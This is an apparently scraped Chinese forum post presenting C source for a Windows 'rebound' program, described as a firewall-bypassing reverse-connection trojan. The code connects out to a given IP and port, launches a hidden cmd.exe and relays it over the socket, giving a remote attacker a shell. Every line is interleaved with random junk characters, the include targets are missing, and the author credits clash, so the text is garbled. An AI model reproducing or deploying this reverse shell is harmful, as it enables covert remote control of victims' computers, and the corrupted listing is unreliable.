这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {q"OM*L(
W[Ls|<Q
/* ============================== {phNds%
Rebound port in Windows NT &*+'>UEe5
By wind,2006/7 0g+'/+Ho 4
===============================*/ q@[QjGj@
#include Y;?{|
#include _lamn}(x0
/Mvf8v
#pragma comment(lib,"wsock32.lib") !\7!3$w'8,
eEuvl`&
void OutputShell(); Vh_P/C+
SOCKET sClient; wK?vPS
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 7 @D@ucL
#"@|f
void main(int argc,char **argv) *MKO
I'
{ IZpP[hov
WSADATA stWsaData; vEJWFoeEFm
int nRet; 0cj>mj1M
SOCKADDR_IN stSaiClient,stSaiServer; e
9;~P}
!@}wDt
if(argc != 3) I}1NB3>^
{ wOU_*uY@6'
printf("Useage:\n\rRebound DestIP DestPort\n"); kM,C3x{A
return; 9[<)WQe6M
} RW<D<5C
\G*0"%!U
WSAStartup(MAKEWORD(2,2),&stWsaData); =ALTUV3/q
bbE!qk;hEP
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U~:-roQ(\
17%Mw@+
stSaiClient.sin_family = AF_INET; PGqQ@6B
stSaiClient.sin_port = htons(0); Gefne[
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 5>[u `
,J+}rPe"sf
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 'uBu6G
{ ,U2*FZ["
printf("Bind Socket Failed!\n"); 'Gj3:-xqL
return; 9Z4nAc
} ]n6#VTz*
]s<[D$ <,
stSaiServer.sin_family = AF_INET; OCe!.`
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 6 (]Dh;gC
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _852H$H\
EV]1ml k$
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) hgPa6Kd
{ fD[*_^;h)
printf("Connect Error!"); 5IE#\FITO|
return; F1*>y
} IxY|>5z
OutputShell(); b,7k)ND1F
} !2%HhiB'
Mk"^?%PxT
void OutputShell() MTuV^0%jD
{ rC5
p-B%
char szBuff[1024]; i@*{27t
SECURITY_ATTRIBUTES stSecurityAttributes; ssfr}fzH
OSVERSIONINFO stOsversionInfo; KcWN,!G
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; l+KY)6o
STARTUPINFO stStartupInfo; *4\:8
char *szShell; V%rzk*LA
PROCESS_INFORMATION stProcessInformation; @>,^":`#
unsigned long lBytesRead; ]cHgleHQ
>g1~CEMN#
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9X}10u:
]_f_w9]
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |d{PA.@33
stSecurityAttributes.lpSecurityDescriptor = 0; D4eDHq
stSecurityAttributes.bInheritHandle = TRUE; Q /U2^
P3x8UR=fS
NG+GEqx
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); "L IF.)
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); M\uiq38
3lrT3a3vV
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); W+I!q:p4H
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /:m->
T
stStartupInfo.wShowWindow = SW_HIDE; em%4Ap
stStartupInfo.hStdInput = hReadPipe; Ni9/}bb
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; n<LEler#M
?WGA?J %2
GetVersionEx(&stOsversionInfo); %~4M+r6T
-_=nDH
switch(stOsversionInfo.dwPlatformId) ,LHn90S
{ 3c-GY:VkLM
case 1: <sb~ ^B
szShell = "command.com"; }bb;~
break; T<n
default: Acez'@z
szShell = "cmd.exe"; b/+u4'"
break; G/)O@Ugp
} 6AAz
?1~` *LE
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 03$mYS_?
R`NYEptJ
send(sClient,szMsg,77,0); KLST\Ln:
while(1) ejSji-Qd
{ ZF!h<h&,
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (nQ^
if(lBytesRead) Kn5~d(:
{ NVkV7y X]
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `KZm0d{H
send(sClient,szBuff,lBytesRead,0); 5'OrHk;u
} n1Yp1"2b[
else z O-z%y
{ Ouk^O}W6
lBytesRead=recv(sClient,szBuff,1024,0); q}3`|'3
if(lBytesRead<=0) break; Kg{+T`
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {5Q!Y&N.%
} tH!]Z4}u
} R)c?`:iUB
A#e%^{q$
return; Tf>bX_L?
}